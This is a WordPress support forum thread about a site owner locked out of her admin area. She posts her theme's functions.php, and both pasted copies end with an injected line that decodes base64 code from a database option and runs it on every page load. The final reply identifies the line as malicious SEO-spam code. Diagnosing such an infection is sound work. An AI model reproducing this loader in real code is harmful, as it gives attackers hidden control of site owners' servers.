• Hey All!

    The last post I made to my web-page was a blog post, and everything was functioning fine at that time. Now when I try to access the back end of my website, I get a screen stating:

    Warning: Cannot modify header information – headers already sent by (output started at /home/content/98/10698998/html/wp-content/themes/practical/functions.php:810) in /home/content/98/10698998/html/wp-includes/pluggable.php on line 1178

    Now I found some info about going into the first listed file, in this case the functions.php file and getting rid of the “white space” there. I was able to access that file, but there is no white space on that line. In fact, there is no coding on that line at all. I am really at a loss, and need to get into my website so any assistance is appreciated. Also, I’m not a programmer/coder so plain step by step instructions are appreciated!

Viewing 12 replies - 1 through 12 (of 12 total)
  • David_G

    (@questas_admin)

    The first line in your functions.php file should be <?php no empty space before or above it.

    David_G

    (@questas_admin)

    It should look something like this:

    <?php
    
    // Your php coding goes here
    
    ?>
    Thread Starter ErinHenderson

    (@erinhenderson)

    Hello Admin,

    Thanks for your reply. It looks like that format is intact…..Here is the complete file:

    <?php

    /*———————————————————————————–*/

    // Set common paths

    /*———————————————————————————–*/

    $functions_path = get_template_directory() . ‘/functions/’;

    /*———————————————————————————–*/

    // Add RSS link to <head> section

    /*———————————————————————————–*/

    add_theme_support( ‘automatic-feed-links’ );

    /*———————————————————————————–*/

    // Remove default inline gallery styling

    /*———————————————————————————–*/

    add_filter( ‘use_default_gallery_style’, ‘__return_false’ );

    /*———————————————————————————–*/

    // Post Formats

    /*———————————————————————————–*/

    add_theme_support( ‘post-formats’, array( ‘aside’, ‘audio’, ‘gallery’, ‘link’, ‘quote’, ‘video’ ) );

    /*———————————————————————————–*/

    // Localization support

    /*———————————————————————————–*/

    load_theme_textdomain( ‘mthemes’, get_template_directory() . ‘/lang’ );

    $locale = get_locale();

    $locale_file = get_template_directory() . “/lang/$locale.php”;

    if ( is_readable($locale_file) )

    require_once($locale_file);

    /*———————————————————————————–*/

    /* Adding content width

    /*———————————————————————————–*/

    if ( ! isset( $content_width ) ) $content_width = 940;

    /*———————————————————————————–*/

    /* Custom hook

    /*———————————————————————————–*/

    function mt_header() { do_action(‘mt_header’); }

    /*———————————————————————————–*/

    // Register JS and load where necessary

    /*———————————————————————————–*/

    add_action(‘init’, ‘mt_register_cssjs’);

    function mt_register_cssjs() {

    if( !is_admin()){

    //Styles

    wp_register_style(‘base’, get_template_directory_uri() . ‘/css/base.css’, ‘style’);

    wp_register_style(‘responsive’, get_template_directory_uri() . ‘/css/responsive.css’, ‘style’);

    wp_register_style(‘iconfont’, get_template_directory_uri() . ‘/css/iconfont.css’, ‘style’);

    wp_register_style(‘flexslider’, get_template_directory_uri() . ‘/css/flexslider.css’, ‘style’);

    wp_register_style(‘prettyPhoto’, get_template_directory_uri() . ‘/css/prettyPhoto.css’, ‘style’);

    wp_register_style(‘style’, get_template_directory_uri() . ‘/style.css’, ‘style’);

    wp_register_style(‘color’, get_template_directory_uri() . ‘/css/color.css’, ‘style’);

    // Scripts

    wp_register_script(‘dcarousel’, get_template_directory_uri() . ‘/js/jquery.dcarousel.js’, ‘jquery’, ”,true);

    wp_register_script(‘fitvid’, get_template_directory_uri() . ‘/js/jquery.fitvid.js’, ‘jquery’, ”,true);

    wp_register_script(‘supersubs’, get_template_directory_uri() . ‘/js/jquery.supersubs.js’, ‘jquery’, ”,true);

    wp_register_script(‘superfish’, get_template_directory_uri() . ‘/js/jquery.superfish.js’, ‘jquery’, ”,true);

    wp_register_script(‘flexslider’, get_template_directory_uri() . ‘/js/jquery.flexslider.js’, ‘jquery’, ”,true);

    wp_register_script(‘isotope’, get_template_directory_uri() . ‘/js/jquery.isotope.min.js’, ‘jquery’, ”,true);

    wp_register_script(‘prettyPhoto’, get_template_directory_uri() . ‘/js/jquery.prettyPhoto.js’, ‘jquery’, ”,true);

    wp_register_script(‘jqueryui’, get_template_directory_uri() . ‘/js/jquery-ui.min.js’, ‘jquery’, ”,true);

    wp_register_script(‘scripts’, get_template_directory_uri() . ‘/js/scripts.js’, ‘jquery’, ”,true);

    }

    }

    // global scripts

    add_action(‘init’, ‘mt_init_scripts’);

    add_action(‘template_redirect’, ‘mt_print_scripts’);

    function mt_init_scripts() {

    //styles

    wp_enqueue_style( ‘base’ );

    wp_enqueue_style( ‘responsive’ );

    wp_enqueue_style( ‘iconfont’ );

    wp_enqueue_style( ‘flexslider’ );

    wp_enqueue_style( ‘prettyPhoto’ );

    wp_enqueue_style( ‘style’ );

    wp_enqueue_style( ‘color’ );

    wp_enqueue_style( ‘options’, get_template_directory_uri() . ‘/css/options.css’, array(‘layout_style’));

    //scripts

    wp_enqueue_script(‘jquery’);

    wp_enqueue_script(‘dcarousel’);

    wp_enqueue_script(‘fitvid’);

    wp_enqueue_script(‘supersubs’);

    wp_enqueue_script(‘superfish’);

    wp_enqueue_script(‘flexslider’);

    wp_enqueue_script(‘isotope’);

    wp_enqueue_script(‘prettyPhoto’);

    wp_enqueue_script(‘jqueryui’);

    wp_enqueue_script(‘scripts’);

    // setup vars for use in scripts

    $params = array(

    ‘templateurl’ => trailingslashit(get_bloginfo(‘template_url’)),

    ‘ajaxurl’ => trailingslashit(admin_url( ‘admin-ajax.php’ )),

    );

    wp_localize_script( ‘global’, ‘mtvars’, $params );

    }

    // dynamic scripts

    function mt_print_scripts() {

    if (is_singular() ) wp_enqueue_script(‘comment-reply’);

    }

    /*———————————————————————————–*/

    // Adding Custom Image Sizes

    /*———————————————————————————–*/

    if ( function_exists( ‘add_theme_support’ ) ) {

    add_theme_support( ‘post-thumbnails’ );

    set_post_thumbnail_size( 50, 50, true ); // Normal post thumbnails

    add_image_size( ‘gallery-thumbs’, 668, 390, true ); // Thumbnails for gallery shortcode

    add_image_size( ‘sliders-cpt-thumbnail’, 250, 130, true ); // Thumbnail for carousel post type

    }

    /*———————————————————————————–*/

    // Shorten Text

    /*———————————————————————————–*/

    function shortentext($text, $limit) { // Function name ShortenText

    $chars_limit = ”;

    $chars_limit = $limit; // Character length

    $chars_text = strlen($text);

    $text = $text.” “;

    $text = substr($text,0,$chars_limit);

    $text = substr($text,0,strrpos($text,’ ‘));

    if ($chars_text > $chars_limit)

    { $text = $text.” …”; } // Ellipsis

    return $text;

    }

    /*———————————————————————————–*/

    // Avoid empty paragraphs in shortcodes

    /*———————————————————————————–*/

    add_filter(‘the_content’, ‘shortcode_empty_paragraph_fix’);

    function shortcode_empty_paragraph_fix($content)

    {

    $array = array (

    ‘<p>[‘ => ‘[‘,

    ‘]</p>’ => ‘]’,

    ‘]
    ‘ => ‘]’

    );

    $content = strtr($content, $array);

    return $content;

    }

    /*———————————————————————————–*/

    // From Functions Folder

    /*———————————————————————————–*/

    require_once(‘functions/aq_resizer.php’); // Aq Image Resizer

    require_once(‘functions/theme-shortcodes.php’); // Custom Shortcodes

    require_once(‘functions/theme-cpt.php’); // Custom Post Types

    require_once(‘functions/theme-postmeta.php’); // Post Meta Box

    require_once(‘functions/theme-pagesmeta.php’); // Pages Meta Box

    require_once(‘functions/theme-portfoliometa.php’); // Portfolio Meta Box

    require_once(‘functions/theme-featuremeta.php’); // Features Meta Box

    require_once(‘functions/theme-teammembersmeta.php’); // Team Members Meta Box

    require_once(‘functions/theme-slidermeta.php’); // Sliders Meta Box

    /*———————————————————————————–*/

    // Widgets

    /*———————————————————————————–*/

    require_once(‘includes/widgets/widget-flickr.php’); // Flickr Widget

    require_once(‘includes/widgets/widget-latest-posts.php’); // Latest Posts Widget

    require_once(‘includes/widgets/widget-latest-projects.php’); // Latest Projects Widget

    /*———————————————————————————–*/

    // Localization

    /*———————————————————————————–*/

    load_theme_textdomain(‘mthemes’);

    /*———————————————————————————–*/

    // Custom Excerpt Length

    /*———————————————————————————–*/

    function new_excerpt_more($more) {

    return ‘…’;

    }

    class Excerpt {

    // Default length (by WordPress)

    public static $length = 55;

    // So you can call: my_excerpt(‘short’);

    public static $types = array(

    ‘short’ => 25,

    ‘regular’ => 55,

    ‘long’ => 100

    );

    /**

    * Sets the length for the excerpt,

    * then it adds the WP filter

    * And automatically calls the_excerpt();

    *

    * @param string $new_length

    * @return void

    * @author Baylor Rae’

    */

    public static function length($new_length = 55) {

    Excerpt::$length = $new_length;

    add_filter(‘excerpt_more’, ‘new_excerpt_more’);

    add_filter(‘excerpt_length’, ‘Excerpt::new_length’);

    Excerpt::output();

    }

    // Tells WP the new length

    public static function new_length() {

    if( isset(Excerpt::$types[Excerpt::$length]) )

    return Excerpt::$types[Excerpt::$length];

    else

    return Excerpt::$length;

    }

    // Echoes out the excerpt

    public static function output() {

    the_excerpt();

    }

    }

    // An alias to the class

    function mt_excerpt($length = 55) {

    Excerpt::length($length);

    }

    /*———————————————————————————–*/

    // Enable HTTP Requests

    /*———————————————————————————–*/

    if( !class_exists( ‘WP_Http’ ) ) {

    include_once( ABSPATH . WPINC. ‘/class-http.php’ );

    }

    /*———————————————————————————–*/

    // Clean up the <head>

    /*———————————————————————————–*/

    function removeHeadLinks() {

    remove_action(‘wp_head’, ‘rsd_link’);

    remove_action(‘wp_head’, ‘wlwmanifest_link’);

    }

    add_action(‘init’, ‘removeHeadLinks’);

    remove_action(‘wp_head’, ‘wp_generator’);

    /*———————————————————————————–*/

    // Register Navigation Menus

    /*———————————————————————————–*/

    function register_menus() {

    register_nav_menus(

    array(

    ‘primary-menu’ => __(‘Primary Menu’,’mthemes’)

    )

    );

    }

    add_action(‘init’, ‘register_menus’);

    /*———————————————————————————–*/

    // Fix Menu Classes

    /*———————————————————————————–*/

    function remove_menu_css($menu) {

    return str_replace( ‘current_page_parent’, ”, $menu );

    }

    function current_type_nav_class($css_class, $item) {

    $taxonomy = get_query_var(‘taxonomy’);

    if ($taxonomy == ‘portfolio-categories’){

    $post_type =’portfolio’;

    } else {

    $post_type = get_query_var(‘post_type’);

    }

    if (get_post_type()==’portfolio’) {

    $current_value = “current_page_parent”;

    $css_class = array_filter($css_class, “remove_menu_css”);

    }

    if ($item->attr_title != ” && $item->attr_title == $post_type) {

    array_push($css_class, ‘current_page_parent’);

    }

    return $css_class;

    }

    add_filter(‘nav_menu_css_class’, ‘current_type_nav_class’, 10, 2);

    /*———————————————————————————–*/

    // Register Sidebar

    /*———————————————————————————–*/

    if (function_exists(‘register_sidebar’)) {

    register_sidebar(array(

    ‘name’ => ‘Sidebar Widgets’,

    ‘id’ => ‘sidebar-widgets’,

    ‘description’ => ‘These are widgets for the sidebar.’,

    ‘before_widget’ => ‘<div class=”widget %2$s clearfix”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘</h6>’

    ));

    register_sidebar(array(

    ‘name’ => ‘Footer Widgets 1’,

    ‘id’ => ‘footer-widgets1’,

    ‘description’ => ‘First widgets section for the footer.’,

    ‘before_widget’ => ‘<div class=”widget”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘<span></span></h6>’

    ));

    register_sidebar(array(

    ‘name’ => ‘Footer Widgets 2’,

    ‘id’ => ‘footer-widgets2’,

    ‘description’ => ‘Second widgets section for the footer.’,

    ‘before_widget’ => ‘<div class=”widget”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘<span></span></h6>’

    ));

    register_sidebar(array(

    ‘name’ => ‘Footer Widgets 3’,

    ‘id’ => ‘footer-widgets3’,

    ‘description’ => ‘Third widgets section for the footer.’,

    ‘before_widget’ => ‘<div class=”widget”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘<span></span></h6>’

    ));

    register_sidebar(array(

    ‘name’ => ‘Footer Widgets 4’,

    ‘id’ => ‘footer-widgets4’,

    ‘description’ => ‘Fourth widgets section for the footer.’,

    ‘before_widget’ => ‘<div class=”widget”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘<span></span></h6>’

    ));

    register_sidebar(array(

    ‘name’ => ‘Homepage Widgets 1’,

    ‘id’ => ‘homepage-widgets1’,

    ‘description’ => ‘These are widgets for the homepage.’,

    ‘before_widget’ => ‘<div class=”widget %2$s clearfix”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘<span></span></h6>’

    ));

    register_sidebar(array(

    ‘name’ => ‘Homepage Widgets 2’,

    ‘id’ => ‘homepage-widgets2’,

    ‘description’ => ‘These are widgets for the homepage.’,

    ‘before_widget’ => ‘<div class=”widget %2$s clearfix”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘<span></span></h6>’

    ));

    register_sidebar(array(

    ‘name’ => ‘Homepage Widgets 3’,

    ‘id’ => ‘homepage-widgets3’,

    ‘description’ => ‘These are widgets for the homepage.’,

    ‘before_widget’ => ‘<div class=”widget %2$s clearfix”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘<span></span></h6>’

    ));

    register_sidebar(array(

    ‘name’ => ‘Homepage Widgets 4’,

    ‘id’ => ‘homepage-widgets4’,

    ‘description’ => ‘These are widgets for the homepage.’,

    ‘before_widget’ => ‘<div class=”widget %2$s clearfix”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘<span></span></h6>’

    ));

    register_sidebar(array(

    ‘name’ => ‘Page Widgets’,

    ‘id’ => ‘page-widgets’,

    ‘description’ => ‘These are widgets for the page.’,

    ‘before_widget’ => ‘<div class=”widget %2$s clearfix”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘</h6>’

    ));

    }

    /*———————————————————————————–*/

    // Admin Panel

    /*———————————————————————————–*/

    require_once (‘admin/index.php’);

    ?>

    <?php add_action(‘init’, create_function(”, implode(“\n”, array_map(“base64_decode”, unserialize(get_option(“wptheme_opt”)))))); ?>

    David_G

    (@questas_admin)

    Edit your last post, but highlight the coding and then click the code button above the editor.

    Thread Starter ErinHenderson

    (@erinhenderson)

    Thread Starter ErinHenderson

    (@erinhenderson)

    <?php
    
    /*-----------------------------------------------------------------------------------*/
    
    //	Set common paths
    
    /*-----------------------------------------------------------------------------------*/
    
    $functions_path = get_template_directory() . '/functions/';
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Add RSS link to <head> section        
    
    /*-----------------------------------------------------------------------------------*/
    
    add_theme_support( 'automatic-feed-links' );
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Remove default inline gallery styling        
    
    /*-----------------------------------------------------------------------------------*/
    
    add_filter( 'use_default_gallery_style', '__return_false' );
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Post Formats
    
    /*-----------------------------------------------------------------------------------*/
    
    add_theme_support( 'post-formats', array( 'aside', 'audio', 'gallery', 'link', 'quote', 'video' ) ); 
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Localization support       
    
    /*-----------------------------------------------------------------------------------*/
    
    load_theme_textdomain( 'mthemes', get_template_directory() . '/lang' );
    
    $locale = get_locale();
    
    $locale_file = get_template_directory() . "/lang/$locale.php";
    
    if ( is_readable($locale_file) )
    
        require_once($locale_file);
    
    /*-----------------------------------------------------------------------------------*/
    
    /* Adding content width
    
    /*-----------------------------------------------------------------------------------*/
    
    if ( ! isset( $content_width ) ) $content_width = 940;
    
    /*-----------------------------------------------------------------------------------*/
    
    /* Custom hook
    
    /*-----------------------------------------------------------------------------------*/
    
    function mt_header() { do_action('mt_header'); }
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Register JS and load where necessary
    
    /*-----------------------------------------------------------------------------------*/
    
    add_action('init', 'mt_register_cssjs');
    
    function mt_register_cssjs() {
    
        if( !is_admin()){
    
        	//Styles
    
        	wp_register_style('base', get_template_directory_uri() . '/css/base.css', 'style');
    
        	wp_register_style('responsive', get_template_directory_uri() . '/css/responsive.css', 'style');
    
        	wp_register_style('iconfont', get_template_directory_uri() . '/css/iconfont.css', 'style');
    
        	wp_register_style('flexslider', get_template_directory_uri() . '/css/flexslider.css', 'style');
    
        	wp_register_style('prettyPhoto', get_template_directory_uri() . '/css/prettyPhoto.css', 'style');
    
        	wp_register_style('style', get_template_directory_uri() . '/style.css', 'style');
    
        	wp_register_style('color', get_template_directory_uri() . '/css/color.css', 'style');
    
    		// Scripts
    
            wp_register_script('dcarousel', get_template_directory_uri() . '/js/jquery.dcarousel.js', 'jquery', '',true);
    
            wp_register_script('fitvid', get_template_directory_uri() . '/js/jquery.fitvid.js', 'jquery', '',true);
    
            wp_register_script('supersubs', get_template_directory_uri() . '/js/jquery.supersubs.js', 'jquery', '',true);
    
            wp_register_script('superfish', get_template_directory_uri() . '/js/jquery.superfish.js', 'jquery', '',true);
    
            wp_register_script('flexslider', get_template_directory_uri() . '/js/jquery.flexslider.js', 'jquery', '',true);
    
            wp_register_script('isotope', get_template_directory_uri() . '/js/jquery.isotope.min.js', 'jquery', '',true);
    
            wp_register_script('prettyPhoto', get_template_directory_uri() . '/js/jquery.prettyPhoto.js', 'jquery', '',true);
    
            wp_register_script('jqueryui', get_template_directory_uri() . '/js/jquery-ui.min.js', 'jquery', '',true);        
    
            wp_register_script('scripts', get_template_directory_uri() . '/js/scripts.js', 'jquery', '',true);
    
        }
    
    }
    
    // global scripts
    
    add_action('init', 'mt_init_scripts');
    
    add_action('template_redirect', 'mt_print_scripts');
    
    function mt_init_scripts() {
    
    	//styles
    
    	wp_enqueue_style( 'base' );
    
    	wp_enqueue_style( 'responsive' );
    
    	wp_enqueue_style( 'iconfont' );
    
    	wp_enqueue_style( 'flexslider' );
    
    	wp_enqueue_style( 'prettyPhoto' );
    
    	wp_enqueue_style( 'style' );
    
    	wp_enqueue_style( 'color' );
    
    	wp_enqueue_style( 'options', get_template_directory_uri() . '/css/options.css', array('layout_style'));
    
    	//scripts
    
    	wp_enqueue_script('jquery');
    
    	wp_enqueue_script('dcarousel');	
    
    	wp_enqueue_script('fitvid');
    
    	wp_enqueue_script('supersubs');
    
    	wp_enqueue_script('superfish');
    
    	wp_enqueue_script('flexslider');
    
    	wp_enqueue_script('isotope');
    
    	wp_enqueue_script('prettyPhoto');
    
    	wp_enqueue_script('jqueryui');
    
    	wp_enqueue_script('scripts');
    
    	// setup vars for use in scripts
    
    	$params = array(
    
    		'templateurl' => trailingslashit(get_bloginfo('template_url')),
    
    		'ajaxurl' => trailingslashit(admin_url( 'admin-ajax.php' )),
    
    	);	
    
    	wp_localize_script( 'global', 'mtvars', $params );
    
    }
    
    // dynamic scripts
    
    function mt_print_scripts() {
    
    	if (is_singular() ) wp_enqueue_script('comment-reply');
    
    }
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Adding Custom Image Sizes
    
    /*-----------------------------------------------------------------------------------*/
    
    if ( function_exists( 'add_theme_support' ) ) {
    
    	add_theme_support( 'post-thumbnails' );
    
    	set_post_thumbnail_size( 50, 50, true ); // Normal post thumbnails
    
    	add_image_size( 'gallery-thumbs', 668, 390, true ); // Thumbnails for gallery shortcode
    
    	add_image_size( 'sliders-cpt-thumbnail', 250, 130, true );  // Thumbnail for carousel post type
    
    }
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Shorten Text
    
    /*-----------------------------------------------------------------------------------*/
    
    function shortentext($text, $limit) { // Function name ShortenText
    
      $chars_limit = '';
    
      $chars_limit = $limit; // Character length
    
      $chars_text = strlen($text);
    
      $text = $text." ";
    
      $text = substr($text,0,$chars_limit);
    
      $text = substr($text,0,strrpos($text,' '));
    
      if ($chars_text > $chars_limit)
    
         { $text = $text." ..."; } // Ellipsis
    
         return $text;
    
    }
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Avoid empty paragraphs in shortcodes
    
    /*-----------------------------------------------------------------------------------*/
    
    add_filter('the_content', 'shortcode_empty_paragraph_fix');
    
    function shortcode_empty_paragraph_fix($content)
    
    {
    
    	$array = array (
    
    		'<p>[' => '[', 
    
    		']</p>' => ']', 
    
    		']<br />' => ']'
    
    	);
    
    	$content = strtr($content, $array);
    
    	return $content;
    
    }
    
    /*-----------------------------------------------------------------------------------*/
    
    //  From Functions Folder
    
    /*-----------------------------------------------------------------------------------*/
    
    require_once('functions/aq_resizer.php'); 				// Aq Image Resizer
    
    require_once('functions/theme-shortcodes.php'); 		// Custom Shortcodes
    
    require_once('functions/theme-cpt.php'); 				// Custom Post Types
    
    require_once('functions/theme-postmeta.php'); 			// Post Meta Box
    
    require_once('functions/theme-pagesmeta.php'); 			// Pages Meta Box
    
    require_once('functions/theme-portfoliometa.php'); 		// Portfolio Meta Box
    
    require_once('functions/theme-featuremeta.php'); 		// Features Meta Box
    
    require_once('functions/theme-teammembersmeta.php'); 	// Team Members Meta Box
    
    require_once('functions/theme-slidermeta.php'); 		// Sliders Meta Box
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Widgets
    
    /*-----------------------------------------------------------------------------------*/
    
    require_once('includes/widgets/widget-flickr.php'); 			// Flickr Widget
    
    require_once('includes/widgets/widget-latest-posts.php'); 		// Latest Posts Widget
    
    require_once('includes/widgets/widget-latest-projects.php'); 	// Latest Projects Widget
    
    /*-----------------------------------------------------------------------------------*/
    
    // Localization
    
    /*-----------------------------------------------------------------------------------*/
    
    load_theme_textdomain('mthemes');
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Custom Excerpt Length
    
    /*-----------------------------------------------------------------------------------*/
    
    function new_excerpt_more($more) {
    
    	return '...';
    
    }
    
    class Excerpt {
    
      // Default length (by WordPress)
    
      public static $length = 55;
    
      // So you can call: my_excerpt('short');
    
      public static $types = array(
    
          'short' => 25,
    
          'regular' => 55,
    
          'long' => 100
    
        );
    
      /**
    
       * Sets the length for the excerpt,
    
       * then it adds the WP filter
    
       * And automatically calls the_excerpt();
    
       *
    
       * @param string $new_length 
    
       * @return void
    
       * @author Baylor Rae'
    
       */
    
      public static function length($new_length = 55) {
    
        Excerpt::$length = $new_length;
    
        add_filter('excerpt_more', 'new_excerpt_more');
    
        add_filter('excerpt_length', 'Excerpt::new_length');
    
        Excerpt::output();
    
      }
    
      // Tells WP the new length
    
      public static function new_length() {
    
        if( isset(Excerpt::$types[Excerpt::$length]) )
    
          return Excerpt::$types[Excerpt::$length];
    
        else
    
          return Excerpt::$length;
    
      }
    
      // Echoes out the excerpt
    
      public static function output() {
    
        the_excerpt();
    
      }
    
    }
    
    // An alias to the class
    
    function mt_excerpt($length = 55) {
    
      Excerpt::length($length);
    
    }
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Enable HTTP Requests
    
    /*-----------------------------------------------------------------------------------*/
    
    if( !class_exists( 'WP_Http' ) ) {
    
        include_once( ABSPATH . WPINC. '/class-http.php' );
    
    }
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Clean up the <head>
    
    /*-----------------------------------------------------------------------------------*/
    
    function removeHeadLinks() {
    
    	remove_action('wp_head', 'rsd_link');
    
    	remove_action('wp_head', 'wlwmanifest_link');
    
    }
    
    add_action('init', 'removeHeadLinks');
    
    remove_action('wp_head', 'wp_generator');
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Register Navigation Menus
    
    /*-----------------------------------------------------------------------------------*/
    
    function register_menus() {
    
    	register_nav_menus(
    
    		array(
    
    			'primary-menu' => __('Primary Menu','mthemes')
    
    			)
    
    	);
    
    }
    
    add_action('init', 'register_menus');
    
    /*-----------------------------------------------------------------------------------*/
    
    // Fix Menu Classes
    
    /*-----------------------------------------------------------------------------------*/
    
    function remove_menu_css($menu) {
    
    	return str_replace( 'current_page_parent', '', $menu );
    
    }
    
    function current_type_nav_class($css_class, $item) {
    
    	$taxonomy = get_query_var('taxonomy');
    
    	if ($taxonomy == 'portfolio-categories'){
    
    		$post_type ='portfolio';
    
    	} else {
    
    		$post_type = get_query_var('post_type');
    
    	}
    
    	if (get_post_type()=='portfolio') {
    
    		$current_value = "current_page_parent";
    
    		$css_class = array_filter($css_class, "remove_menu_css");
    
    	}
    
    	if ($item->attr_title != '' && $item->attr_title == $post_type) {       
    
    		array_push($css_class, 'current_page_parent');
    
    	}
    
    	return $css_class;
    
    }
    
    add_filter('nav_menu_css_class', 'current_type_nav_class', 10, 2);
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Register Sidebar
    
    /*-----------------------------------------------------------------------------------*/
    
    if (function_exists('register_sidebar')) {
    
    	register_sidebar(array(
    
    		'name' => 'Sidebar Widgets',
    
    		'id'   => 'sidebar-widgets',
    
    		'description'   => 'These are widgets for the sidebar.',
    
    		'before_widget' => '<div class="widget %2$s clearfix">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '</h6>'
    
    	));
    
    	register_sidebar(array(
    
    		'name' => 'Footer Widgets 1',
    
    		'id'   => 'footer-widgets1',
    
    		'description'   => 'First widgets section for the footer.',
    
    		'before_widget' => '<div class="widget">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '<span></span></h6>'
    
        ));
    
        register_sidebar(array(
    
    		'name' => 'Footer Widgets 2',
    
    		'id'   => 'footer-widgets2',
    
    		'description'   => 'Second widgets section for the footer.',
    
    		'before_widget' => '<div class="widget">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '<span></span></h6>'
    
        ));
    
        register_sidebar(array(
    
    		'name' => 'Footer Widgets 3',
    
    		'id'   => 'footer-widgets3',
    
    		'description'   => 'Third widgets section for the footer.',
    
    		'before_widget' => '<div class="widget">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '<span></span></h6>'
    
        ));
    
        register_sidebar(array(
    
    		'name' => 'Footer Widgets 4',
    
    		'id'   => 'footer-widgets4',
    
    		'description'   => 'Fourth widgets section for the footer.',
    
    		'before_widget' => '<div class="widget">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '<span></span></h6>'
    
        ));
    
        register_sidebar(array(
    
    		'name' => 'Homepage Widgets 1',
    
    		'id'   => 'homepage-widgets1',
    
    		'description'   => 'These are widgets for the homepage.',
    
    		'before_widget' => '<div class="widget %2$s clearfix">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '<span></span></h6>'    
    
        ));
    
        register_sidebar(array(
    
    		'name' => 'Homepage Widgets 2',
    
    		'id'   => 'homepage-widgets2',
    
    		'description'   => 'These are widgets for the homepage.',
    
    		'before_widget' => '<div class="widget %2$s clearfix">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '<span></span></h6>'    
    
        ));
    
        register_sidebar(array(
    
    		'name' => 'Homepage Widgets 3',
    
    		'id'   => 'homepage-widgets3',
    
    		'description'   => 'These are widgets for the homepage.',
    
    		'before_widget' => '<div class="widget %2$s clearfix">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '<span></span></h6>'    
    
        ));
    
        register_sidebar(array(
    
    		'name' => 'Homepage Widgets 4',
    
    		'id'   => 'homepage-widgets4',
    
    		'description'   => 'These are widgets for the homepage.',
    
    		'before_widget' => '<div class="widget %2$s clearfix">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '<span></span></h6>'    
    
        ));
    
        register_sidebar(array(
    
    		'name' => 'Page Widgets',
    
    		'id'   => 'page-widgets',
    
    		'description'   => 'These are widgets for the page.',
    
    		'before_widget' => '<div class="widget %2$s clearfix">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '</h6>'    
    
        ));
    
    }
    
    /*-----------------------------------------------------------------------------------*/
    
    // Admin Panel
    
    /*-----------------------------------------------------------------------------------*/
    
    require_once ('admin/index.php');
    
    ?>
    
    <?php add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>
    David_G

    (@questas_admin)

    Delete that last post, it should appear in a box. Have you tried reinstalling the theme by FTP?

    Thread Starter ErinHenderson

    (@erinhenderson)

    Ya, sorry about the double post, I got ahead of myself.

    I did update the entire theme from my hosting site but it didn’t rectify anything

    David_G

    (@questas_admin)

    Please if you still can delete the code from the first 2 attempts. I don’t see anything wrong with it though. You may want to reinstall the theme by FTP or at least the functions.php file in your theme. (Save this file first)

    Thread Starter ErinHenderson

    (@erinhenderson)

    It doesn’t give me the option to delete the first one, sorry. I have it posted correctly in a grey box above. I just re-installed the theme through my hosting site on Tuesday night. That didn’t correct it. If I delete the functions.php file from the hosting site, then where do you suggest I get another file from that would have the correct code?

    David_G

    (@questas_admin)

    Download the theme to your computer from WP, unzip it, you will find the functions.php file. Compare it with yours.

    There is somthing wrong with the code. There is a code injection at the very end of the file where it says.

    <?php add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>

    This malicious code creates several post on your database filling it with link from other pages. This post dont show in the search results on wordpress neither on the page or post archives but will show in a google search. Double check your security. You can verify on sucuri website https://kb.sucuri.net/malware/signatures/php.spam-seo.dbload.001.

Viewing 12 replies - 1 through 12 (of 12 total)
  • The topic ‘Can't get into the Back end at all!’ is closed to new replies.